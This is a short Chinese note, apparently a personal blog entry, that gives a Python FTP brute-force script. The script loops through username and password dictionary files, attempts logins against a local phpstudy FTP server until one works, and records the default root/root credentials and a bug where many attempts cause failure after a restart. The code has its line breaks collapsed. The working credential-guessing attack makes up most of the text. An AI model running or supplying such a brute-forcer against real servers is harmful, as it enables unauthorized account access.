python-FTP爆破脚本(phpstudy)-一点bug记录
脚本
def blast_ftp(host, port, user_dict, pwd_dict):ftp = FTP()for user in open(user_dict, 'r').readlines():for pwd in open(pwd_dict, 'r').readlines():user = user.replace('\n', '')pwd = pwd.replace('\n', '')try:print(user, pwd)ftp.connect(host=host, port=port, timeout=0.5)ftp.login(user=user, passwd=pwd)return [user, pwd]except:# print(1)passreturn '爆破失败'res = blast_ftp('127.0.0.1', 21, pwd_dict='test_2/pwd.txt', user_dict='test_2/users.txt')
print(res)
phpstudy的环境
root root
bug
数量较少时-重启ftp-成功
数量较多时-重启ftp-失败的